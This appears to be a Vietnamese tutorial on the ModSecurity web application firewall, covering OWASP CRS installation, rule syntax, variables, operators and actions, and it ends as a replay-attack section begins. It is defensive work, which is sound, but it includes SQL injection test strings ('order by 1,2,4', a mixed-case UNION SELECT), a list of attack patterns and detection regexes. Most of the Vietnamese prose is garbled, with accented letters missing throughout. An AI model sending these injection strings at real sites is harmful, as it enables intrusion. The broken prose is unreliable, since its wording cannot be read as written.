TAR/GZ
Archive
ZIP
Archive

Lin kt
https://github.com/SpiderLabs/owasp-modsecurity-crs
https://github.com/SpiderLabs/owasp-modsecurity-crs/tarball/master
https://github.com/SpiderLabs/owasp-modsecurity-crs/zipball/master

#tar xvf SpiderLabs-owasp-modsecurity-crs-2.2.7-28-g9a715d8.tar.gz


#cd SpiderLabs-owasp-modsecurity-crs-2.2.7-28-g9a715d8
#cp modsecurity_crs_10_setup.conf.example
/opt/modsecurity/etc/modsecurity_crs_10_setup.conf
#mkdir -p /opt/modsecurity/etc/crs/activated_rules
#cp base_rules/* /opt/modsecurity/etc/crs/activated_rules/
#vi /etc/httpd/conf.d/modsecurity.conf
<IfModule mod_security2.c>
#START COMMON CONFIGURATION
Include /opt/modsecurity/etc/main.conf
#Include /opt/modsecurity/etc/rules-first.conf
#Include /opt/modsecurity/etc/rules.conf
#Include /opt/modsecurity/etc/rules-last.conf
21

#STOP COMMON CONFIGURATION

#START OWASP MODSECURITY CORE RULE SET


Include /opt/modsecurity/etc/modsecurity_crs_10_setup.conf
Include /opt/modsecurity/etc/crs/activated_rules/*.conf
#STOP OWASP MODSECURITY CORE RULE SET
</IfModule>
#/etc/init.d/httpd restart
Kim tra kt qu
Ta thc hin kim tra tn cng SQL injection vi URI sau trong trng hp trc v sau khi
trin khai OWASP CRS: http://www.modsec.com/?p=1%20order%20by%201,2,4

Hnh 4: Tn cng SQLI trc khi trin khai OWASP CRS

22

Hnh 5:Tn cng SQLI sau khi trin khai OWASP CRS
Cnh bo ghi nhn tn cng:
[Tue Jun 04 18:40:39 2013] [error] [client 192.168.149.1] ModSecurity: Access denied
with code 403 (phase 2). Pattern match "\\\\b(?i:having)\\\\b\\\\s+(\\\\d{1,10}|'[^=]
{1,10}')\\\\s*?[=<>]|(?i:\\\\bexecute(\\\\s{1,5}[\\\\w\\\\.$]{1,5}\\\\s{0,3})?\\\\()|\\\\bhaving\\\\b
?(?:\\\\d{1,10}|[\\\\'\\"][^=]{1,10}[\\\\'\\"]) ?[=<>]+|(?i:\\\\bcreate\\\\s+?table.{0,20}?\\\\()|(?
i:\\\\blike\\\\W*?char\\\\W*?\\\\()|(?i:(?:(select(.* ..." at ARGS:p. [file
"/opt/modsecurity/etc/crs/activated_rules/modsecurity_crs_41_sql_injection_attacks.conf"]
[line "130"] [id "959070"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data:
order by found within ARGS:p: 1 order by 1,2,4"] [severity "CRITICAL"] [ver
"OWASP_CRS/2.2.7"] [maturity "9"] [accuracy "8"] [tag
"OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag
"OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname
"www.modsec.com"] [uri "/"] [unique_id "Ua3SN38AAAEAAAcbBfsAAAAA"]

IX.

TNG QUAN V RULE

Gii thiu
Modsecurity nh ngha 9 loi ch th ngi dng c th trin khai cc tnh nng lc linh
ng cho h thng web.
Directive
SecAction
SecDefaultAction
SecMarker

Description
Performs an unconditional action. This directive is
essentially a rule that always matches.
Specifies the default action list, which will be used in
the rules that follow.
Creates a marker that can be used in conjunction with
the skipAfteraction. A marker creates a rule that does
nothing, but has an ID assigned to it.
23

SecRule
SecRuleInheritance

Creates a rule.
Controls whether rules are inherited in a child
configuration context.
SecRuleRemoveById
Removes the rule with the given ID.
SecRuleRemoveByMsg
Removes the rule whose message matches the given
regular expression.
SecRuleScript
Creates a rule implemented using Lua.
SecRuleUpdateActionByI
Updates the action list of the rule with the given ID.
d
SecRuleUpdateTargetByI

Updates the target list of the rule with the given ID.

d
C php rule trong ModSecurity:
SecRule VARIABLES OPERATOR [TRANSFORMATION_FUNCTIONS, ACTIONS]
Trong mt rule ModSecurity c 4 thnh phn, trong hai thnh phn cui ca c php l
ty chn. Nu trong mt rule m bn nh ngha khng s dng 2 thnh phn
TRANSFORMATION_FUNCTIONS v ACTIONS th ModSecurity s dng cc gi tr mc
nh c thit lp trong SecDefaultAction.
Bin (Variables)
Trong ModSecurity, bin c s dng cho vic trch xut (etract) cc thnh phn khc nhau
ca gi tin HTTP. c Bn cn ch rng cc d liu tng tc trong qu trnh hot ng ca
ModSecurity l d liu th (raw bytes of data) bao gm cc k t c bit. Mc d ng dng
web m bn xy dng ch tng tc vi cc d liu dng vn bn (text), nhng bn khng th
chc chn c chuyn g ang xy ra nu nh cc i th s dng nhng cch vt qua cc
kim sot logic.
Trong phin bn hin ti, ModSecurity h tr 77 loi bin khc nhau tng tnh linh
ng chng li cc kiu khai thc nng cao.
Operators
Ti mc ny, ModSecurity s xc nh cc thc m mt bin c x l. Cc regular
expresstion c s dng ph bin, tuy nhin ModSecurity nh ngha sn cc operator nhm
h tr bn c th t xy dng mt rule cho mc ch c nhn.
Transformation_functions
Chc nng ny cho php chuyn i d liu u vo trc khi a qua c ch kim tra
(chuyn ch hoa thnh ch thng, decode base64 )
Actions
Ch r hnh ng s thc hin khi mt rule c so trng mu.
24

Variables
C 77 loi bin trong phin bn ModSecurity hin ti v chng c phn loi nh sau:
Scalar variables: Cha mt phn thng tin d liu, c th l chui hoc s. V d,
REMOTE_ADDR lun cha a ch IP ca ngi dng,
Collections: Nhm cc bin li vi nhau thnh mt nhm.
Read-only collections: Nhm cc bin khng th thay i trong qu trnh thc hin tng
tc gia ModSecurity v Apache.
Read/write collections: Nhm ny c s dng trong trng hp bn cn trin khai cc
rule c s thay i trong d liu u vo.
Special collections: Nhm cc bin c bit c dng trong vic trch xut d liu u vo
di dng XML.
Persistent collections: Khi cc rule s dng cc thnh phn trong nhm ny, th d liu s
c lu tr trong c s d liu ni b ca ModSecurity. Trong cc tc v nh theo di IP,
phin lm vic hoc theo di ngi dng ng nhp th vic lu tr s c s dng.
Request variables
Cc bin trong phn nhm ny chu trch nhim trch xut cc gi tr trong HTTP request
header a vo phn phn tch. Cc trng gi tr ModSecurity h tr trong cc bin c
thu thp t cc URI, method (GET HEAD POST PUT ), protocol information ( HTTP 1.1,
HTTP 1.0).
Bng sau lit k cc gi tr bin (Request variable) m ModSecurity h tr:
Variable
ARGS
ARGS_COMBINED_SIZE
ARGS_NAMES
ARGS_GET
ARGS_GET_NAMES
ARGS_POST
ARGS_POST_NAMES
FILES
FILES_COMBINED_SIZE
FILES_NAMES
FILES_SIZES
FILES_TMPNAMES
PATH_INFO
QUERY_STRING

Description
Request parameters (read-only collection)
Total size of all request parameters combined
Request parameters names (collection)
Query string parameters (read-only collection)
Query string parameters names (read-only
collection)
Request body parameters (read-only collection)
Request body parameters names (read-only
collection)
File names (read-only collection)
Combined size of all uploaded files
File parameter names (read-only collection)
A list of file sizes (read-only collection)
A list of temporary file names (read-only
collection)
Extra path information
Request query string
25

REMOTE_USER
REQUEST_BASENAME
REQUEST_BODY
REQUEST_COOKIES
REQUEST_COOKIES_NAM
ES
REQUEST_FILENAME
REQUEST_HEADERS
REQUEST_HEADERS_NAM
ES
REQUEST_LINE
REQUEST_METHOD
REQUEST_PROTOCOL
REQUEST_URI
REQUEST_URI_RAW

Remote user
Request URI basename
Request body
Request cookies (read-only collection)
Request cookies names (read-only collection)
Request URI file name/path
Request headers (collection, read-only)
Request headers names (read-only collection)
Request line
Request method
Request protocol
Request URI, convert to exclude hostname
Request URI, as it was presented in the request

Server variables
Cc bin trong phn nhm ny dng phn tch cc thnh phn do ngi dng gi n my
ch, v mt s khc lin quan n d liu tr v ngi dng.
Bng sau lit k cc gi tr bin (server variable) m ModSecurity h tr:
Variable
AUTH_TYPE
REMOTE_ADDR
REMOTE_HOST
REMOTE_PORT
SCRIPT_BASENAME
SCRIPT_FILENAME
SCRIPT_GID
SCRIPT_GROUPNAM

Description
Authentication type
Remote address
Remote host
Remote port
Script basename
Script file name/path
Script group ID
Script group name

SCRIPT_MODE
SCRIPT_UID
SCRIPT_USERNAME
SERVER_ADDR
SERVER_NAME
SERVER_PORT

Script permissions
Script user ID
Script user name
Server address
Server name
Server port

Response variables
Cc bin trong phn nhm ny c dng cho vic xc nh cc d liu tr v ngi dng.
Phn ln cc gi tr ny c s dng trong pha th 3 Response headers (3). Mt s thnh
phn lin quan n ni dung gi tin HTTP (body) th s c dng trong pha th 4 Response
body (4).
26

Bng sau lit k cc gi tr bin (respone variable) m ModSecurity h tr:


Variable
Description
RESPONSE_BODY
Response body
RESPONSE_CONTENT_LENG
Response content length
TH
RESPONSE_CONTENT_TYPE
Response content type
RESPONSE_HEADERS
Response headers (read-only collection)
RESPONSE_HEADERS_NAME
Response headers names (read-only
S
collection)
RESPONSE_PROTOCOL
Response protocol
RESPONSE_STATUS
Response status code
Miscellaneouse variables
Bng sau lit k cc gi tr bin (miscellaneouse variable) m ModSecurity h tr:
Variable
HIGHEST_SEVERITY
MATCHED_VAR
MATCHED_VARS
MATCHED_VARS_NAME
S
MATCHED_VAR_NAME
MODSEC_BUILD
SESSIONID
UNIQUE_ID
USERID
WEBAPPID
WEBSERVER_ERROR_L
OG

Description
Highest severity encountered
Contents of the last variable that matched
Contents of all variables that matched int the most
recent rule
Names of all variables that matched in the most
recent rule
Name of the last variable that matched
ModSecurity build version (e.g., 02050102)
Session ID associated with current transaction
Unique transaction ID generated by
mod_unique_id
User ID associated with current transaction
Web application ID associated with current
transaction
Error messages generated by Apache during
current transaction

Parsing flags
Variable
MULTIPART_BOUNDARY_QUOTED
MULTIPART_BOUNDARY_WHITESPAC
E
MULTIPART_CRLF_LF_LINES
27

Description
Multipart parsing error: quoted
boundary encountered
Multipart parsing error:
whitespace in boundary
Multipart parsing error: mixed line

endings used
MULTIPART_DATA_BEFORE
Multipart parsing error: seen data
before first boundary
MULTIPART_DATA_AFTER
Multipart parsing error: seen data
after last boundary
MULTIPART_FILE_LIMIT_EXCEEDED
Multipart parsing error: too many
files
MULTIPART_HEADER_FOLDING
Multipart parsing error: header
folding used
MULTIPART_INVALID_HEADER_FOLDI
Multipart parsing error: invalid
NG
header folding encountered
MULTIPART_LF_LINE
Multipart parsing error: LFline
ending detected
MULTIPART_MISSING_SEMICOLON
Multipart parsing error: missing
semicolon before boundary
MULTIPART_STRICT_ERROR
At least one multipart error except
unmatched boundary occurred
MULTIPART_UNMATCHED_BOUNDAR
Multipart parsing error:
Y
unmatched boundary detected
REQBODY_PROCESSOR
Request processor that handled
request body
REQBODY_PROCESSOR_ERROR
Request processor error flag (0 or
1)
REQBODY_PROCESSOR_ERROR_MSG
Request processor error message
Collections variables
Cc bin trong nhm ny c th cha bin ca cc nhm khc, nhm phc v vic thu thp
d liu a qua c ch phn tch hnh vi trong ModSecurity.
Variable
ENV
GEO
GLOBAL
IP
TX
RULE
SESSION
USER
XML

Description
Environment variables (read-only collection,
although its possible to use setvar
to change it)
Geo lookup information from the last
@geoLookupinvocation (read-only collec
tion)
Global information, shared by all processes
(read/write collection)
IP address data storage (read/write collection)
Transient transaction data (read/write
collection)
Current rule metadata (read-only collection)
Session data storage (read/write collection)
28

Time variables
Cc bin v thi gian dng xc nh thi gian khi mt phin lm vic trn ModSecurity
c thc hin.
Variable
TIME
TIME_DAY
TIME_EPOCH
TIME_HOUR
TIME_MIN
TIME_MON
TIME_SEC
TIME_WDAY
TIME_YEAR

Description
Time (HH:MM:SS)
Day of the month (131)
Seconds since January 1, 1970 (e.g.,
1251029017)
Hour of the day (023)
Minute of the hour (059)
Month of the year (011)
Second of the minute (059)
Week day (06)
Year

Operators
Cc ton t kim tra trong ModSecurity c nhim v phn tch cc bin u vo Variables
ra quyt nh. Hu ht cc rule s s dng cc regular expression cho vic phn tch, nhng
trong mt s trng hp c th th cc phn nhm ton t khc s hu ch hn.
Ta xt trng hp cn so snh cc gi tr l s (numberic) th vic s dng Regular
expression l kh bt li cho vic to rule v ti nguyn khi thc thi so snh rule. ModSecurity
h tr mt nhm phng thc so snh khc nhau nhm tng hiu nng cho phn kim tra.
Trong trng hp ny th vic s dng cc ton t v s hc s hiu qu hn nhiu so vi
regular expression.
ModSecurity h tr 4 nhm:
Stringmatching operators
Numerical operators
Validation operators
Miscellaneous operators
Stringmatching operators
Cc ton t so trng chui c dng phn tch cc u d liu vo t cc bin. Ton t @rx
v @pm thng c s dng nhiu trong cc rule phn tch, bi v tnh linh ng ca @rx v
tc x l ca @pm. Trong mt s trng hp khc th cc ton t cn li s h tr bn pht
trin cc rule ty theo mc ch chi tit.
Operator
@beginsWith
@contains

Description
Input begins with parameter
Input contains parameter
29

@endsWith
@rsub
@rx
@pm
@pmFromFile(also @pmfas of
2.6)
@streq
@within

Input ends with parameter


Manipulation of request and response bodies
Regular pattern match in input
Parallel pattern matching
Parallel patterns matching, with patterns read
from a file
Input equal to parameter
Parameter contains input

Numerical operators
Trong bng di lit k cc ton t h tr so snh cc gi tr s. Trong phin bn
ModSecurity trc 2.5.12 th vic so snh cc gi tr s hc phi thng qua regular expression,
vic ny lm nh hng ln n hiu nng hot ng ca server.
Operator
@eq
@ge
@gt
@le
@lt

Description
Equal
Greater or equal
Greater than
Less or equal
Less than

Validation operators
Cc ton t kim tra m ModSecurity h tr c lit k trong bng sau:
Operator
@validateByteRange
@validateDTD
@validateSchema
@validateUrlEncoding
@validateUtf8Encoding

Description
Validates that parameter consists only of
allowed byte values
Validates XML payload against a DTD
Validates XML payload against a schema
Validates an URL-encoded string
Validates an UTF-8-encoded string

Miscellaneous operators
V phn nhm operator cui cng m ModSecurity h tr cho php bn to ra mt s rule
vi cc chc nng lc kh hu dng nh: pht hin l thng tin credit card (@verifyCC), kim
tra vng a l ca IP ngi dng (@geoLookup), kim tra l thng tin s an sinh x hi
(@verifySSN )
Operator
@geoLookup
@inspectFile
@rbl

Description
Determines the physical location of an IP
address
nvokes an external script to inspect a file
Looks up the parameter against a RBL (realtime block list)
30

@verifyCC
@verifyCPF
@verifySSN
@ipMatch
@ipMatchFromFile( and @ip
MatchF), as of 2.7.0

Checks whether the parameter is a valid credit


card number
Checks whether the parameter is a valid
Brazilian social security number
Checks whether the parameter is a valid US
social security number
Matches input against one or more IP addresses
or network segments
As @ipMatch, but reads input from a file

Actions
Cc hnh vi (action) l im mnh ca ModSecurity cho php h thng web c kh nng
min dch vi mt s loi khai thc bit n. Cc action l thnh phn cui cng trong mt
rule, Apache s quyt nh kt qu tr v pha ngi dng (thng bo li, hy kt ni hoc cho
php truy cp)
ModSecurity chia cc action thnh 7 phn mc:
Disruptive actions
Flow actions
Metadata actions
Variable actions
Logging actions
Special actions
Miscellaneous Actions
Disruptive actions
Trong phn nhm ny, cc action c s dng nhm mc ch ngn chn hoc chuyn
hng kt ni trong trng hp ModSecurity pht hin mu tn cng trng khp.
Action
allow
block
deny
drop
pass
pause
proxy
redirect

Description
Stop processing of one or more remaining
phases
Indicate that a rule wants to block
Block transaction with an error page
Close network connection
Do not block, go to the next rule
Pause for a period of time, then execute allow.
Proxy request to a backend web server
Redirect request to some other web server
31

Flow actions
Action
chain
skip
skipAfter

Description
Connect two or more rules into a single logical
rule
Skip over one or more rules that follow
Skip after the rule or marker with the provided
ID

Metadata actions
Phn nhm ny cho php bn nh ngha cc thng tin m t v rule. Cc thng tin ny
thng c dng m t thng bo li (error message), gii thch nguyn nhn xut hin li
hoc cch khc phc ngh.
Action
id
phase
msg
rev
severity
tag

Description
Assign unique ID to a rule
Phase for a rule to run in
Message string
Revision number
Severity
Tag

Variable actions
Cch hnh vi trong nhm ny c lin h vi cc gi tr bin (Variables), cc action ny
cho php gn gi tr (set), thay i (change) v xa (remove) gi tr m cc bin lu tr.
Action
capture
deprecatevar
expirevar
initcol
setenv
setvar
setuid
setsid

Description
Capture results into one or more variables
Decrease numerical variable value over time
Remove variable after a time period
Create a new persistent collection
Set or remove an environment variable
Set, remove, increment, or decrement a variable
Associate current transaction with an
application user ID (username)
Associate current transaction with an
application session ID

Logging actions
Cc action trong phn nhm ghi log ch dn ModSecurity phng thc v ni lu tr log.
Cc action nh hng n vic ghi log trong rule l auditlog, log, noauditlog v nolog. iu
khin qu trnh ghi log, bn cn tham kho ctlaction.
Action
auditlog
log

Description
Log current transaction to audit log
Log error message; implies auditlog
32

logdata
noauditlog
nolog
sanitiseArg
sanitiseMatched
sanitiseRequestHeader

Log supplied data as part of error message


Do not log current transaction to audit log
Do not log error message; implies noauditlog
Remove request parameter from audit log
Remove parameter in which a match occurred
from audit log
Remove request header from audit log

Special actions
Action
ctl
multiMatch
t
Miscellaneous Actions
Action
append
exec
prepend
status
xmlns

X.

Description
Change configuration of current transaction
Activate multi-matching, where an operator
runs after every transformation
Specify transformation functions to apply to
variables before matching
Description
Append content to response body
Execute external script
Prepend content to response body
Specify response status code to use with
denyand redirect
Specify name space for use with XPath
expressions

RULE LANGUAGE TUTORIAL

Tng quan
Trong phn hng dn ny, ti s bt u vi mt rule n gin gm mt bin v mt chui
(string) nh sau:
SecRule REQUEST_URI <script>
Vi biu thc so snh nh trn th ModSecurity thc thi kim tra d liu trong URI t pha
ngi dng v xc nh c s tn ti ca chui <script> hay khng. Tuy nhin, bn c th s
dng thm mt operator vo rule trn tng hiu qu kim tra trong ModSecurity, ti s vit
li rule trn nh sau:
SecRule REQUEST_URI "@rx <script>"
ModSecurity h tr nhiu loi operator khc nhau. Mt s c cng chc nng, nhng cc
operator s c nh hng khc nhau n hiu sut ca h thng. Trong v d ti a ra th chui
<script> khng phi l mt biu thc so snh, bi v chng khng cha k t c bit xc
33

nh y l mt mu biu thc. Ti c th vit li rule trn bng cc s dng @contains ti


u:
SecRule REQUEST_URI "@contains <script>"
Hng dn s dng bin (variable)
Trong mt rule, bn c th s dng nhiu bin khc nhau bng cch dng k t pipe |
phn cch:
SecRule REQUEST_URI|REQUEST_PROTOCOL <script>
Nhm cc bin c dng trong mt rule c gi l collection. Trn thc t, cc rule c
vit c th cha nhiu hn mt thnh phn tham s (parameter), ta c th dng du hai chm
: phn cch bin v tn ca tham s.
SecRule ARGS:p <script>
SecRule ARGS:p|ARGS:q <script>
Ta c th s dng cu trc nh v d trn so trng bng mu biu thc, v d bn di s
tm chui <script> trong cc tham s bt u bng k t p:
SecRule ARGS:/^p/ <script>
Bin ARGS mc nh s theo di tt c cc tham s nu bn khng ch nh tn tham s
hoc biu thc mu. Vic lit k cc tham s gip gim thiu ti nguyn h thng v nng hiu
sut theo di ca ModSecurity. Trong mt s trng hp, bn c th s dng ton t ph nh
(operator negation) loi b mt nhm bin trong rule, bng cch thm du chm than vo
trc nhm bit m bn khng s dng:
SecRule ARGS|!ARGS:z <script>
Hng dn s dng lin kt rule (chain)
ModSecurity cho php bn lin kt cc SecRule ring l vi nhau thnh mt SecRule duy
nht thng quan t kha chain. Lin kt cc rule s gim thiu cc tnh hung cnh bo khng
chnh xc, gip bn n gin ha vic vit rule trong trng hp cn kim tra cc iu kin
mang tnh cht tun t.
Trong v d bn di, ModSecurity s lun thc hin kim tra SecRule u tin (kim tra
tham s p), nu xy ra trng hp c d liu trng khp th rule tip theo (kim tra tham s q)
s c kim tra.
SecRule ARGS:p <script> chain
SecRule ARGS:q <script>
Hng dn s dng ton t ph nh
ModSecurity cho php bn s dng phng php ph nh mt thnh phn bt k trong rule.
Gi s bn mun trin khai mt rule c chc nng theo di ngi dng ng nhp ngoi tr
user admin v root, ta c th vit nh sau:
34

SecRule ARGS:username "!@rx ^(admin|root)$"


Trong rule SecRule ARGS:p|ARGS:q "!@eq 5" th ModSecurity s trng khi c mt trong
hai tham s p hoc q c gi tr bng 5. Trng hp bn cn kim tra tham s p v q c gi tr
bng 5 th ta s dng t kha chain:
SecRule ARGS:p "!@eq 5" chain
SecRule ARGS:q "!@eq 5"
Variable Counting
Bng cch thm k t & vo trc bin trong rule, bn c th thc hin cng vic m s
ln xut hin ca mt bin.
Trong rule bn di, ModSecurity thc hin kim tra trong trng hp tn ti mt tham s
username:
SecRule &ARGS:username "@eq 1"
kim tra trong trng hp c nhiu hn mt tham s username, ta vit li rule nh sau:
SecRule &ARGS:username "!@eq 1"
Hng dn v action
Hnh vi (action) l thnh phn th ba trong ch th SecRule v l thnh phn th nht trong
ch th SecAction. Mt rule c th khng tn ti action hoc nhiu hn mt action. Nu ta s
dng nhiu action trong mt rule, ta c th phn cch bng du phy , hay khong trng gia
cc action. Trong rule bn di, ta s dng 2 action l log v deny:
SecRule ARGS K1 log,deny
Mt s action trong ModSecurity yu cu c tham s khi s dng. Trong trng hp ny, ta
cn phn cch action v tham s bi du : . Mt v d v vic s dng hnh v deny cc yu
cu n server v gy li 404 Not found:
SecRule ARGS K1 log,deny,status:404
Mt phn cn lu i vi cc hnh vi c tham s cha khong trng hoc k t , , bn
nn chc chn rng cc tham s ny c t trong mt cp du ngoc n .
SecRule ARGS K1 "log,deny,msg:'Acme attack detected'"
Action Defaults
ModSecurity nh ngha mt ng cnh c gi l default action list (tm dch: danh sch
cc hnh vi mc nh), nhm thc hin chn cc gi tr ny vo nhng rule khng c ch
nh action.
Gi s, sau khi thc hin cu hnh trong tp tin main.conf ca ModSecurity, gi tr ca
SecDefaultAction l phase:2,log,auditlog,pass. Ta c mt rule n gin khng c ch nh
action:
35

SecRule ARGS K1
Khi ModSecurity hot ng, th rule trn s c hiu nh sau:
SecRule ARGS K1 phase:2,log,auditlog,pass
Bng cch ny, ModSecurity gip bn trin khai mt rule d dng hn m khng cn phi
ch nh mt action lp li nhiu ln:
SecDefaultAction phase:2,log,deny,status:404
SecRule ARGS K1
SecRule ARGS K2
...
SecRule ARGS K99
Unconditional Rules
Hnh vi m bn thit lp trong ch th SecRule s c thc hin khi c mu trng khp vi
cc biu thc, nhng bn cng c th s dng ch th SecAction trin khai cc hnh vi
(action) m bn nh ngha sn. Ch th SecAction cho php cha duy nht mt tham s
(parameter), tham s ny c dng lin kt vi thnh phn th ba trong ch th SecRule.
SecAction nolog,pass,setvar:tx.counter=10
Using Transformation Functions
Trong cc phng php khai thc l hng ng dng web, hacker thng s dng cc k
thut bin i d liu (obfuscation) vt qua c ch kim tra. chng li phng php
bin i, ModSecurity h tr chuyn i d liu u vo trc khi thc hin kim tra cc tn
cng. V d:
Trong tn cng SQL Injection th hacker thc hin cu truy vn: id=1&UniON
%20SeLeCT%201,2,3,4,5,6 (trong trng hp ny ta cn chuyn i cc k t sang ch
thng (lowercase) trc khi kim tra)
Hoc trong rule bn di, ModSecurity s thc hin chuyn cc k t thnh ch thng,
ng thi loi b cc k t khong trng khng cn thit:
SecRule ARGS "@contains delete from" \
phase:2,t:lowercase,t:compressWhitespace,block
Kt qu m ModSecurity s thc hin l lc nhng t kha c dng:
delete from
DELETE FROM
deLeTe fRoM
36

Delete From
DELETE\tFROM
Mt s l do bn cn s dng chc nng chuyn i:
Vi cc khai thc s dng phng php encode base64, ta c th p dng
t:base64Decode decode d liu u vo.
Tng t Base64, vi trng hp hacker chuyn i kiu d liu thnh dng Hex
th t:hexEncode nn c s dng chuyn i sang dng Plaintext.
Blocking
Cc ch th s dng trong ModSecurity c lin kt duy nht vi mt action (hoc ch th
SecAction) x l kt qu phn tch trc . C ba trng thi m ModSecurity h tr
trong vic ngn chn tn cng:

Chuyn tip sang rule tip theo.


Ngng thc hin pha hin thi, nhng tip tc thc hin phin trao i d liu.
Ngng thc hin pha hin thi, ng thi ngng trao i d liu.

Changing Rule Flow


Gi s trng hp cc rule trong ModSecurity c x l tun t t rule u tin n rule
cui cng. Nu c mt gi tr trng vi mu so snh, th tin trnh kim tra trong cc rule tip
sau nn c b qua. thc hin vic ny, t kha skip c th c a vo s dng nh
sau:
SecRule ARGS K1 id:1,nolog,pass,skip:2
SecRule ARGS K2 id:2,nolog,pass
SecRule ARGS K3 id:3,log,block
Vi v d trn, khi rule 1 trng mu so snh th cc rule tip sau s khng thc hin kim tra.
T kha skip thng c dng nh mt phng php ti u ha trong ModSecurity. i
khi vic thc thi cc nhm rule c nhiu iu kin s lm lng ph ti nguyn CPU. Trong
trng hp ny, bn c th thc hin vic kim tra iu kin ca mt rule v nn b qua cc
bc tip theo nu iu kin u vo khng tha tiu ch.
V d:
Trong cc rule kim tra trong nhm Cross Site Scripting (XSS) th cc mu tn cng nh
UNION, ORDER BY, XP_CMD, ../../../, 1 or 1=1 --, l khng cn thit phi kim tra. Vic
s dng t kha skip s gip ti u ti nguyn x l trong trng hp ny.
If-Then-Else
Tuy ModSecurity khng h tr cc t kha if-then-else trong cu trc rule, nhng bn vn
c th thc hin cu trc kim tra iu kin thng qua v d bn di:
37

SecRule ARGS K1 id:1,nolog,pass,skip:2


SecRule ARGS K2 id:2,block
SecAction nolog,pass,skip:1
SecRule ARGS K3 id:3,block
SecRule u tin s quyt nh mt rule c thc hin bn di. Nu trong rule 1 trng
mu, th hnh vi skip c thc hin v chuyn n thc hin rule 3. Tuy nhin, nu rule 1
khng trng mu th rule 2 s c thc hin v SecAction s c thc hin sau . Cu trc
r nhnh ny m bo ruel 3 s khng thc thi nu rule 1 khng trng mu d liu.
Capturing Data
Cc bin trong nhm TX c phn bit bi gi tr t 0 n 9. Nhng bin ny c dng
trong vic thu thp d liu u vo. s dng chc nng thu thp d liu, bn cn ch hai
iu sau:
S dng du ngoc n () trong trng hp dng cc biu thc so snh, vic ny gip
ModSecurity xc nh v tr d liu cn thu thp.
S dng hnh vi carpture trong rule, ni m bn mun thu thp d liu.
Gi s trong ng dng web c s dng vic chn mt m xc nh phin lm vic (session)
vo URI nh bn di:
http://www.modsec.com/69d032331009e7b0/index.html
Yu cu t ra l bn cn xc nh gi tr 69d032331009e7b0 trong URI phc v vic
kim tra session ngi dng. Tham kho biu thc so snh trong rule sau:
# Initialize session state from the session identifier in URI
SecRule REQUEST_URI ^/([0-9a-fA-f]{16})/ phase:1,nolog,pass,capture,setsid:%{TX.1}
Phn tch biu thc ^/([0-9a-fA-f]{16})/ ta c:
Biu thc
^/

ngha biu thc


Gi tr TX
Xc nh v tr thu thp d liu, bt
TX.0 = /
u bng k t /.
69d032331009e7b0/
([0-9a-fA-f]{16})
Ni dung SessionID l mt chui
TX.1 =
bao gm 16 k t s, ch thng, ch
69d032331009e7b0
hoa (biu thc phi c t trong du
ngoc n).
/
V tr kt thc biu thc.
Di dy l log audit qu trnh ModSecurity thc hin phn tch biu thc:
[4] Recipe: Invoking rule 15b6610; [file
"/opt/modsecurity/etc/crs/activated_rules/carpturedata.conf"] [line "1"] [id "10000"].
[5] Rule 15b6610: SecRule "REQUEST_URI" "@rx ^/([0-9a-fA-f]{16})/"
38

"phase:1,auditlog,id:10000,nolog,pass,capture,setsid:%{TX.1}"
[4] Transformation completed in 7 usec.
[4] Executing operator "rx" with param "^/([0-9a-fA-f]{16})/" against REQUEST_URI.
[9] Target value: "/69d032331009e7b0/index.html"
[9] Added regex subexpression to TX.0: /69d032331009e7b0/
[9] Added regex subexpression to TX.1: 69d032331009e7b0
[4] Operator completed in 58 usec.
[9] Resolved macro %{TX.1} to: 69d032331009e7b0
Variable Manipulation
Hu ht cc d liu m ModSecurity phn tch s c thao tc ch ch c (d liu
tnh hoc khng thay i). Tuy nhin, ModSecurity cng h tr vic to ra cc bin c gi tr
thay i nhm phc v mt s mc ch c th.
Ta c th to ra mt bin bng cch s dng hnh vi setvar:
SecAction nolog,pass,setvar:tx.score=1

#gi tr ca bin tx.score l 1.

SecAction nolog,pass,setvar:!tx.score

#xa gi tr bin tx.score.

SecAction nolog,pass,setvar:tx.score=+2
action.

#gi tr tx.score s tng 2 mi khi thc hin

SecAction nolog,pass,setvar:tx.score=-1
action.

#gi tr tx.score s gim mi khi thc hin

Metadata
Metadata c dng trong rule vi mc ch hin th thng tin chi tit v cnh bo m rule
to ra. Cc thng tin ny khng gy nh hng n qu trnh phn tch d liu. Tuy nhin,
metadata s h tr bn d dng qun l cc cnh bo trong qu trnh phn tch log, gip xc
nh nhanh chng nguyn nhn v cch phng trnh cc khai thc vo web server.
Ti s bt u vi rule n gin nh sau:
SecRule REQUEST_METHOD "!^(GET|HEAD)$" \
Id:10001,phase:1,t:none,log,block
Vi cc tham s nh trn, th rule 10001 vn hot ng n nh khi trng mu. Tuy nhin,
d liu sau khi phn tch khng cung cp thng tin chi tit v thng tin k thut, cc hng
dn x l v.v
[22/Jun/2013:01:21:57 +0700] [www.modsec.com/sid#139efb0][rid#1606370][/][2]
Warning. Match of "rx ^(GET|HEAD)$" against "REQUEST_METHOD" required. [file
"/opt/modsecurity/etc/crs/activated_rules/addingMetadata.conf"] [line "1"] [id "10001"]
rule 10001 c m t tt hn v thng bo li, ti s ty bin rule li nh sau:
SecRule REQUEST_METHOD "!^(GET|HEAD)$" \
39

"phase:1,t:none,log,block,id:1001,rev:2,\
severity:WARNING,msg:'Request method is not allowed'"
Trong thng bo log, ta c th ghi nhn thay i:
[22/Jun/2013:01:28:19 +0700] [www.modsec.com/sid#17f1fb0][rid#1a59350][/][2]
Warning. Match of "rx ^(GET|HEAD)$" against "REQUEST_METHOD" required. [file
"/opt/modsecurity/etc/crs/activated_rules/addingMetadata.conf"] [line "3"] [id "10001"] [rev
"2"] [msg "Request method is not allowed"] [severity "EMERGENCY"]
#rev: xc nh phin bn thay i ca rule
#msg: d liu m t v rule
#severity: thng bo mc nguy him khi c cuc tn cng vo h thng web (mc
nguy him nht l EMERGENCY (1) v t nguy him nht l DEBUG (7).

XI.

PHN TCH CC RULE NG DNG THC T

Trng hp 1: Chng tn cng Replay attack thng qua c ch nh token ngu nhin.
Tham kho DANH MC L HNG BO MT OWASP 2010: Replay Testing (OWASPWS-007)
Trong phn ny, ti s phn tch trng hp hn ch vic khai thc vo cc form html. Vic
s dng phng thc POST nhn d liu t pha ngi dng thng to ra nguy c gi tin
b thay i trn ng truyn, nhm thc hin thm/bt d liu phc v cho tng loi tn cng
khc nhau.
